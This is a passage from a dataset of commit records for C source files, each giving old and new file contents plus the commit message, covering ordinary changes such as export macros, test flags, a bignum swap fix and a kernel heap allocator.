{"commit":"166d113686fd20cd8e0bf6e5b4f2ac92e24765a4","old_file":"interface\/cecp_features.h","new_file":"interface\/cecp_features.h","old_contents":"#ifndef _CECP_FEATURES_H\n#define _CECP_FEATURES_H\n\n#include <stdio.h>\n\n\/* Features of the Chess Engine Communication Protocol supported by this program *\/\nconst char *cecp_features[] =\n{\n    \"done=0\",\n    \"usermove=1\",\n    \"time=0\",\n    \"draw=0\",\n    \"sigint=0\",\n    \"analyze=0\",\n    \"variants=\\\"\\\"\",\n    \"name=0\",\n    \"nps=0\",\n    \"debug=1\",\n    \"smp=1\",\n    \"done=1\",\n    0\n};\n\n#endif\n","new_contents":"#ifndef _CECP_FEATURES_H\n#define _CECP_FEATURES_H\n\n#include <stdio.h>\n\n\/* Features of the Chess Engine Communication Protocol supported by this program *\/\nconst char *cecp_features[] =\n{\n    \"done=0\",\n    \"usermove=1\",\n    \"time=0\",\n    \"draw=0\",\n    \"sigint=0\",\n    \"analyze=0\",\n    \"variants=\\\"normal\\\"\",\n    \"colors=0\",\n    \"name=0\",\n    \"nps=0\",\n    \"debug=1\",\n    \"smp=1\",\n    \"done=1\",\n    0\n};\n\n#endif\n","subject":"Support variant 'normal' and don't expect xboard to send colors","message":"Support variant 'normal' and don't expect xboard to send colors\n","lang":"C","license":"mit","repos":"gustafullberg\/drosophila,gustafullberg\/drosophila,gustafullberg\/drosophila"}
{"commit":"d4df4c06fc37543ddb37d47e70fa7a3fd7544212","old_file":"include\/tesseract\/platform.h","new_file":"include\/tesseract\/platform.h","old_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ File:        platform.h\n\/\/ Description: Place holder\n\/\/\n\/\/ (C) Copyright 2006, Google Inc.\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef TESSERACT_PLATFORM_H_\n#define TESSERACT_PLATFORM_H_\n\n#ifndef TESS_API\n# if defined(_WIN32) || defined(__CYGWIN__)\n#  if defined(TESS_EXPORTS)\n#    define TESS_API __declspec(dllexport)\n#  elif defined(TESS_IMPORTS)\n#    define TESS_API __declspec(dllimport)\n#  else\n#    define TESS_API\n#  endif\n# else\n#  if defined(TESS_EXPORTS) || defined(TESS_IMPORTS)\n#      define TESS_API __attribute__((visibility(\"default\")))\n#  endif\n# endif\n#endif\n\n#endif  \/\/ TESSERACT_PLATFORM_H_\n","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ File:        platform.h\n\/\/ Description: Place holder\n\/\/\n\/\/ (C) Copyright 2006, Google Inc.\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef TESSERACT_PLATFORM_H_\n#define TESSERACT_PLATFORM_H_\n\n#ifndef TESS_API\n# if defined(_WIN32) || defined(__CYGWIN__)\n#  if defined(TESS_EXPORTS)\n#    define TESS_API __declspec(dllexport)\n#  elif defined(TESS_IMPORTS)\n#    define TESS_API __declspec(dllimport)\n#  else\n#    define TESS_API\n#  endif\n# else\n#  if defined(TESS_EXPORTS) || defined(TESS_IMPORTS)\n#    define TESS_API __attribute__((visibility(\"default\")))\n#  else\n#    define TESS_API\n#  endif\n# endif\n#endif\n\n#endif  \/\/ TESSERACT_PLATFORM_H_\n","subject":"Add missing definition for TESS_API","message":"Add missing definition for TESS_API\n\nSigned-off-by: Stefan Weil <8d4c780fcfdc41841e5070f4c43da8958ba6aec0@weilnetz.de>\n","lang":"C","license":"apache-2.0","repos":"stweil\/tesseract,amitdo\/tesseract,UB-Mannheim\/tesseract,stweil\/tesseract,tesseract-ocr\/tesseract,tesseract-ocr\/tesseract,UB-Mannheim\/tesseract,amitdo\/tesseract,tesseract-ocr\/tesseract,amitdo\/tesseract,amitdo\/tesseract,UB-Mannheim\/tesseract,tesseract-ocr\/tesseract,stweil\/tesseract,amitdo\/tesseract,stweil\/tesseract,UB-Mannheim\/tesseract,UB-Mannheim\/tesseract,stweil\/tesseract,tesseract-ocr\/tesseract"}
{"commit":"fecda7a99c7dc2d44e2652a9158dfa86b997afab","old_file":"test\/ASTMerge\/codegen-body.c","new_file":"test\/ASTMerge\/codegen-body.c","old_contents":"\/\/ RUN: %clang_cc1 -emit-pch -o %t.1.ast %S\/Inputs\/body1.c\n\/\/ RUN: %clang_cc1 -emit-pch -o %t.2.ast %S\/Inputs\/body2.c\n\/\/ RUN: %clang_cc1 -emit-obj -o \/dev\/null -ast-merge %t.1.ast -ast-merge %t.2.ast %s\n\/\/ expected-no-diagnostics\n\n","new_contents":"\/\/ XFAIL: hexagon\n\/\/ RUN: %clang_cc1 -emit-pch -o %t.1.ast %S\/Inputs\/body1.c\n\/\/ RUN: %clang_cc1 -emit-pch -o %t.2.ast %S\/Inputs\/body2.c\n\/\/ RUN: %clang_cc1 -emit-obj -o \/dev\/null -ast-merge %t.1.ast -ast-merge %t.2.ast %s\n\/\/ expected-no-diagnostics\n\n","subject":"Revert \"[Hexagon] Test passes for hexagon target now that the backend correctly generates relocations.\"","message":"Revert \"[Hexagon] Test passes for hexagon target now that the backend correctly generates relocations.\"\n\nThis reverts commit r238754.\n\nIt depends on r238748, which was reverted.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@238773 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"915afec8f2eb56ad3fb89cedf8b6b6dda363164a","old_file":"ui\/app_list\/app_list_export.h","new_file":"ui\/app_list\/app_list_export.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_APP_LIST_APP_LIST_EXPORT_H_\n#define UI_APP_LIST_APP_LIST_EXPORT_H_\n#pragma once\n\n\/\/ Defines APP_LIST_EXPORT so that functionality implemented by the app_list\n\/\/ module can be exported to consumers.\n\n#if defined(COMPONENT_BUILD)\n#if defined(WIN32)\n\n#if defined(APP_LIST_IMPLEMENTATION)\n#define APP_LIST_EXPORT __declspec(dllexport)\n#else\n#define APP_LIST_EXPORT __declspec(dllimport)\n#endif  \/\/ defined(APP_LIST_IMPLEMENTATION)\n\n#else  \/\/ defined(WIN32)\n#define APP_LIST_EXPORT __attribute__((visibility(\"default\")))\n#endif\n\n#else  \/\/ defined(COMPONENT_BUILD)\n#define APP_LIST_EXPORT\n#endif\n\n#endif  \/\/ UI_APP_LIST_APP_LIST_EXPORT_H_\n\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_APP_LIST_APP_LIST_EXPORT_H_\n#define UI_APP_LIST_APP_LIST_EXPORT_H_\n#pragma once\n\n\/\/ Defines APP_LIST_EXPORT so that functionality implemented by the app_list\n\/\/ module can be exported to consumers.\n\n#if defined(COMPONENT_BUILD)\n#if defined(WIN32)\n\n#if defined(APP_LIST_IMPLEMENTATION)\n#define APP_LIST_EXPORT __declspec(dllexport)\n#else\n#define APP_LIST_EXPORT __declspec(dllimport)\n#endif  \/\/ defined(APP_LIST_IMPLEMENTATION)\n\n#else  \/\/ defined(WIN32)\n#if defined(APP_LIST_IMPLEMENTATION)\n#define APP_LIST_EXPORT __attribute__((visibility(\"default\")))\n#else\n#define APP_LIST_EXPORT\n#endif\n#endif\n\n#else  \/\/ defined(COMPONENT_BUILD)\n#define APP_LIST_EXPORT\n#endif\n\n#endif  \/\/ UI_APP_LIST_APP_LIST_EXPORT_H_\n\n","subject":"Change the way _EXPORT macros look, app_list edition","message":"Change the way _EXPORT macros look, app_list edition\n\nI missed this in https:\/\/chromiumcodereview.appspot.com\/10386108\/ . Thanks to tfarina for noticing.\n\nBUG=90078\nTEST=none\nTBR=ben\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/10377151\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@137221 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"mogoweb\/chromium-crosswalk,hujiajie\/pa-chromium,anirudhSK\/chromium,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,timopulkkinen\/BubbleFish,anirudhSK\/chromium,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,hujiajie\/pa-chromium,keishi\/chromium,axinging\/chromium-crosswalk,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,hujiajie\/pa-chromium,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,ondra-novak\/chromium.src,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,ltilve\/chromium,M4sse\/chromium.src,bright-sparks\/chromium-spacewalk,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,keishi\/chromium,Just-D\/chromium-1,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,jaruba\/chromium.src,ChromiumWebApps\/chromium,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,Just-D\/chromium-1,PeterWangIntel\/chromium-crosswalk,Chilledheart\/chromium,ChromiumWebApps\/chromium,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,markYoungH\/chromium.src,junmin-zhu\/chromium-rivertrail,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,zcbenz\/cefode-chromium,dednal\/chromium.src,Fireblend\/chromium-crosswalk,keishi\/chromium,jaruba\/chromium.src,keishi\/chromium,ltilve\/chromium,fujunwei\/chromium-crosswalk,littlstar\/chromium.src,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,ondra-novak\/chromium.src,Fireblend\/chromium-crosswalk,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,dushu1203\/chromium.src,mogoweb\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,timopulkkinen\/BubbleFish,patrickm\/chromium.src,keishi\/chromium,axinging\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,Jonekee\/chromium.src,anirudhSK\/chromium,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,M4sse\/chromium.src,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,keishi\/chromium,littlstar\/chromium.src,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,chuan9\/chromium-crosswalk,anirudhSK\/chromium,axinging\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,junmin-zhu\/chromium-rivertrail,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,Jonekee\/chromium.src,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,littlstar\/chromium.src,Jonekee\/chromium.src,M4sse\/chromium.src,axinging\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,markYoungH\/chromium.src,M4sse\/chromium.src,ltilve\/chromium,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,junmin-zhu\/chromium-rivertrail,chuan9\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,fujunwei\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,keishi\/chromium,dednal\/chromium.src,zcbenz\/cefode-chromium,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,dednal\/chromium.src,patrickm\/chromium.src,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,fujunwei\/chromium-crosswalk,dednal\/chromium.src,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,littlstar\/chromium.src,M4sse\/chromium.src,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,chuan9\/chromium-crosswalk,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,M4sse\/chromium.src,Chilledheart\/chromium,axinging\/chromium-crosswalk,Just-D\/chromium-1,jaruba\/chromium.src,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,dednal\/chromium.src,hujiajie\/pa-chromium,patrickm\/chromium.src,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,dushu1203\/chromium.src,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,keishi\/chromium,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,hujiajie\/pa-chromium,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,Just-D\/chromium-1,littlstar\/chromium.src,ondra-novak\/chromium.src,timopulkkinen\/BubbleFish,M4sse\/chromium.src,hgl888\/chromium-crosswalk,patrickm\/chromium.src,ChromiumWebApps\/chromium,crosswalk-project\/chromium-crosswalk-efl,Chilledheart\/chromium,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,axinging\/chromium-crosswalk,Jonekee\/chromium.src,littlstar\/chromium.src,ltilve\/chromium,dushu1203\/chromium.src,littlstar\/chromium.src,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk,Chilledheart\/chromium,axinging\/chromium-crosswalk,ltilve\/chromium,nacl-webkit\/chrome_deps,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,patrickm\/chromium.src,chuan9\/chromium-crosswalk,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,keishi\/chromium,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,dednal\/chromium.src,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,markYoungH\/chromium.src,PeterWangIntel\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,anirudhSK\/chromium,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,markYoungH\/chromium.src,ondra-novak\/chromium.src,timopulkkinen\/BubbleFish,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,dednal\/chromium.src,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,anirudhSK\/chromium,ChromiumWebApps\/chromium,ltilve\/chromium,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,PeterWangIntel\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,mogoweb\/chromium-crosswalk,axinging\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,patrickm\/chromium.src,M4sse\/chromium.src,Just-D\/chromium-1,hujiajie\/pa-chromium,nacl-webkit\/chrome_deps,PeterWangIntel\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,fujunwei\/chromium-crosswalk,timopulkkinen\/BubbleFish,patrickm\/chromium.src,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,chuan9\/chromium-crosswalk,patrickm\/chromium.src,zcbenz\/cefode-chromium,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,ChromiumWebApps\/chromium,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,hujiajie\/pa-chromium,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,jaruba\/chromium.src,ChromiumWebApps\/chromium,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,keishi\/chromium,timopulkkinen\/BubbleFish,mogoweb\/chromium-crosswalk,patrickm\/chromium.src,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,Just-D\/chromium-1,littlstar\/chromium.src,hujiajie\/pa-chromium,zcbenz\/cefode-chromium,crosswalk-project\/chromium-crosswalk-efl,Chilledheart\/chromium,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,ltilve\/chromium,ondra-novak\/chromium.src,markYoungH\/chromium.src,pozdnyakov\/chromium-crosswalk,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,keishi\/chromium,zcbenz\/cefode-chromium,Just-D\/chromium-1,Chilledheart\/chromium,TheTypoMaster\/chromium-crosswalk"}
{"commit":"015f3526ea6d0b24900b72ad01c1abd730555136","old_file":"tests\/mypaint-test-surface.h","new_file":"tests\/mypaint-test-surface.h","old_contents":"#ifndef MYPAINTTESTSURFACE_H\n#define MYPAINTTESTSURFACE_H\n\n#include <mypaint-surface.h>\n\ntypedef MyPaintSurface * (*MyPaintTestsSurfaceFactory)(gpointer user_data);\n\nint\nmypaint_test_surface_run(int argc, char **argv,\n                      MyPaintTestsSurfaceFactory surface_factory,\n                      gchar *title, gpointer user_data);\n\n#endif \/\/ MYPAINTTESTSURFACE_H\n","new_contents":"#ifndef MYPAINTTESTSURFACE_H\n#define MYPAINTTESTSURFACE_H\n\n#include <mypaint-surface.h>\n#include <mypaint-glib-compat.h>\n\nG_BEGIN_DECLS\n\ntypedef MyPaintSurface * (*MyPaintTestsSurfaceFactory)(gpointer user_data);\n\nint\nmypaint_test_surface_run(int argc, char **argv,\n                      MyPaintTestsSurfaceFactory surface_factory,\n                      gchar *title, gpointer user_data);\n\nG_END_DECLS\n\n#endif \/\/ MYPAINTTESTSURFACE_H\n","subject":"Add missing extern \"C\" declaration to header","message":"brushlib\/test: Add missing extern \"C\" declaration to header\n","lang":"C","license":"isc","repos":"b3sigma\/libmypaint,achadwick\/libmypaint,b3sigma\/libmypaint,achadwick\/libmypaint,b3sigma\/libmypaint,achadwick\/libmypaint,achadwick\/libmypaint"}
{"commit":"25355d2169bb43eb07b9a60a2f9e4c0436cf906a","old_file":"vm\/external_libs\/libtommath\/bn_mp_exch.c","new_file":"vm\/external_libs\/libtommath\/bn_mp_exch.c","old_contents":"#include <tommath.h>\n#ifdef BN_MP_EXCH_C\n\/* LibTomMath, multiple-precision integer library -- Tom St Denis\n *\n * LibTomMath is a library that provides multiple-precision\n * integer arithmetic as well as number theoretic functionality.\n *\n * The library was designed directly after the MPI library by\n * Michael Fromberger but has been written from scratch with\n * additional optimizations in place.\n *\n * The library is free for all purposes without any express\n * guarantee it works.\n *\n * Tom St Denis, tomstdenis@gmail.com, http:\/\/libtom.org\n *\/\n\n\/* swap the elements of two integers, for cases where you can't simply swap the \n * mp_int pointers around\n *\/\nvoid\nmp_exch MPA(mp_int * a, mp_int * b)\n{\n  mp_int  t;\n\n  if(MANAGED(a) || MANAGED(b)) {\n    mp_init_copy(MPST, &t, a);\n    mp_copy(MPST, a, b);\n    mp_copy(MPST, b, &t);\n    mp_clear(&t);\n    return;\n  }\n\n  t  = *a;\n  *a = *b;\n  *b = t;\n}\n#endif\n\n\/* $Source: \/cvs\/libtom\/libtommath\/bn_mp_exch.c,v $ *\/\n\/* $Revision: 1.4 $ *\/\n\/* $Date: 2006\/12\/28 01:25:13 $ *\/\n","new_contents":"#include <tommath.h>\n#ifdef BN_MP_EXCH_C\n\/* LibTomMath, multiple-precision integer library -- Tom St Denis\n *\n * LibTomMath is a library that provides multiple-precision\n * integer arithmetic as well as number theoretic functionality.\n *\n * The library was designed directly after the MPI library by\n * Michael Fromberger but has been written from scratch with\n * additional optimizations in place.\n *\n * The library is free for all purposes without any express\n * guarantee it works.\n *\n * Tom St Denis, tomstdenis@gmail.com, http:\/\/libtom.org\n *\/\n\n\/* swap the elements of two integers, for cases where you can't simply swap the \n * mp_int pointers around\n *\/\nvoid\nmp_exch MPA(mp_int * a, mp_int * b)\n{\n  mp_int  t;\n\n  if(MANAGED(a) || MANAGED(b)) {\n    mp_init(&t);\n\n    \/\/ copy a to t\n    mp_copy(MPST, a, &t);\n\n    \/\/ copy b to a\n    mp_copy(MPST, b, a);\n\n    \/\/ copy t to b\n    mp_copy(MPST, &t, b);\n\n    mp_clear(&t);\n    return;\n  }\n\n  t  = *a;\n  *a = *b;\n  *b = t;\n}\n#endif\n\n\/* $Source: \/cvs\/libtom\/libtommath\/bn_mp_exch.c,v $ *\/\n\/* $Revision: 1.4 $ *\/\n\/* $Date: 2006\/12\/28 01:25:13 $ *\/\n","subject":"Fix argument order in mp_exch","message":"Fix argument order in mp_exch\n","lang":"C","license":"bsd-3-clause","repos":"heftig\/rubinius,Wirachmat\/rubinius,dblock\/rubinius,Azizou\/rubinius,heftig\/rubinius,Azizou\/rubinius,ruipserra\/rubinius,travis-repos\/rubinius,jemc\/rubinius,slawosz\/rubinius,Wirachmat\/rubinius,slawosz\/rubinius,dblock\/rubinius,pH14\/rubinius,ngpestelos\/rubinius,travis-repos\/rubinius,benlovell\/rubinius,lgierth\/rubinius,pH14\/rubinius,ngpestelos\/rubinius,dblock\/rubinius,Wirachmat\/rubinius,travis-repos\/rubinius,kachick\/rubinius,jsyeo\/rubinius,digitalextremist\/rubinius,heftig\/rubinius,sferik\/rubinius,heftig\/rubinius,slawosz\/rubinius,sferik\/rubinius,jemc\/rubinius,ruipserra\/rubinius,sferik\/rubinius,jsyeo\/rubinius,jemc\/rubinius,lgierth\/rubinius,digitalextremist\/rubinius,jemc\/rubinius,slawosz\/rubinius,kachick\/rubinius,lgierth\/rubinius,jsyeo\/rubinius,ngpestelos\/rubinius,ngpestelos\/rubinius,ruipserra\/rubinius,ruipserra\/rubinius,digitalextremist\/rubinius,kachick\/rubinius,ngpestelos\/rubinius,pH14\/rubinius,ruipserra\/rubinius,kachick\/rubinius,benlovell\/rubinius,digitalextremist\/rubinius,sferik\/rubinius,lgierth\/rubinius,lgierth\/rubinius,travis-repos\/rubinius,jsyeo\/rubinius,Azizou\/rubinius,jemc\/rubinius,Azizou\/rubinius,pH14\/rubinius,benlovell\/rubinius,kachick\/rubinius,benlovell\/rubinius,Wirachmat\/rubinius,travis-repos\/rubinius,mlarraz\/rubinius,Wirachmat\/rubinius,pH14\/rubinius,Azizou\/rubinius,slawosz\/rubinius,mlarraz\/rubinius,dblock\/rubinius,ruipserra\/rubinius,jemc\/rubinius,digitalextremist\/rubinius,kachick\/rubinius,pH14\/rubinius,Wirachmat\/rubinius,benlovell\/rubinius,mlarraz\/rubinius,slawosz\/rubinius,heftig\/rubinius,sferik\/rubinius,heftig\/rubinius,benlovell\/rubinius,lgierth\/rubinius,jsyeo\/rubinius,dblock\/rubinius,jsyeo\/rubinius,kachick\/rubinius,travis-repos\/rubinius,ngpestelos\/rubinius,sferik\/rubinius,mlarraz\/rubinius,lgierth\/rubinius,ruipserra\/rubinius,benlovell\/rubinius,Azizou\/rubinius,digitalextremist\/rubinius,ngpestelos\/rubinius,slawosz\/rubinius,digitalextremist\/rubinius,dblock\/rubinius,mlarraz\/rubinius,jsyeo\/rubinius,kachick\/rubinius,heftig\/rubinius,jemc\/rubinius,pH14\/rubinius,travis-repos\/rubinius,mlarraz\/rubinius,dblock\/rubinius,sferik\/rubinius,Azizou\/rubinius,mlarraz\/rubinius,Wirachmat\/rubinius"}
{"commit":"ddfc46de06300cd223ccd6503ff97a29af474303","old_file":"src\/driver_control\/dc_dump.c","new_file":"src\/driver_control\/dc_dump.c","old_contents":"void dc_dump() {\n\n    if (vexRT[Btn7U])\n        dump_set(-127);\n    else if (vexRT[Btn7D])\n        dump_set(127);\n    else\n        dump_set(0);\n\n}\n","new_contents":"void dc_dump() {\n\n    if (vexRT[Btn6U])\n        dump_set(-127);\n    else if (vexRT[Btn6D])\n        dump_set(127);\n    else if (vexRT[Btn5U])\n        dump_set(-15);\n    else\n        dump_set(0);\n\n}\n","subject":"Change dump buttons and add hold button","message":"Change dump buttons and add hold button\n","lang":"C","license":"mit","repos":"qsctr\/vex-4194b-2016"}
{"commit":"d45a05e3563085b8131f3a84c4f3b16c3fab7908","old_file":"kernel\/port\/heap.c","new_file":"kernel\/port\/heap.c","old_contents":"#include <stddef.h>\n#include <kernel\/port\/heap.h>\n#include <kernel\/port\/units.h>\n#include <kernel\/port\/stdio.h>\n#include <kernel\/port\/panic.h>\n\n\/* round_up returns `n` rounded to the next value that is zero\n * modulo `align`. *\/\nstatic uintptr_t round_up(uintptr_t n, uintptr_t align) {\n\tif (n % align) {\n\t\treturn n + (align - (n % align));\n\t}\n\treturn n;\n}\n\nuintptr_t heap_next, heap_end;\n\nvoid heap_init(uintptr_t start, uintptr_t end) {\n\theap_next = start;\n\theap_end = end;\n}\n\nvoid *kalloc_align(uintptr_t size, uintptr_t alignment) {\n\theap_next = round_up(heap_next, alignment);\n\tuintptr_t ret = heap_next;\n\theap_next += size;\n\tif(heap_next > heap_end) {\n\t\tpanic(\"Out of space!\");\n\t}\n\treturn (void*)ret;\n}\n\nvoid *kalloc(uintptr_t size) {\n\treturn kalloc_align(size, sizeof(uintptr_t));\n}\n\nvoid kfree(void *ptr, uintptr_t size) {\n}\n","new_contents":"#include <stddef.h>\n#include <kernel\/port\/heap.h>\n#include <kernel\/port\/units.h>\n#include 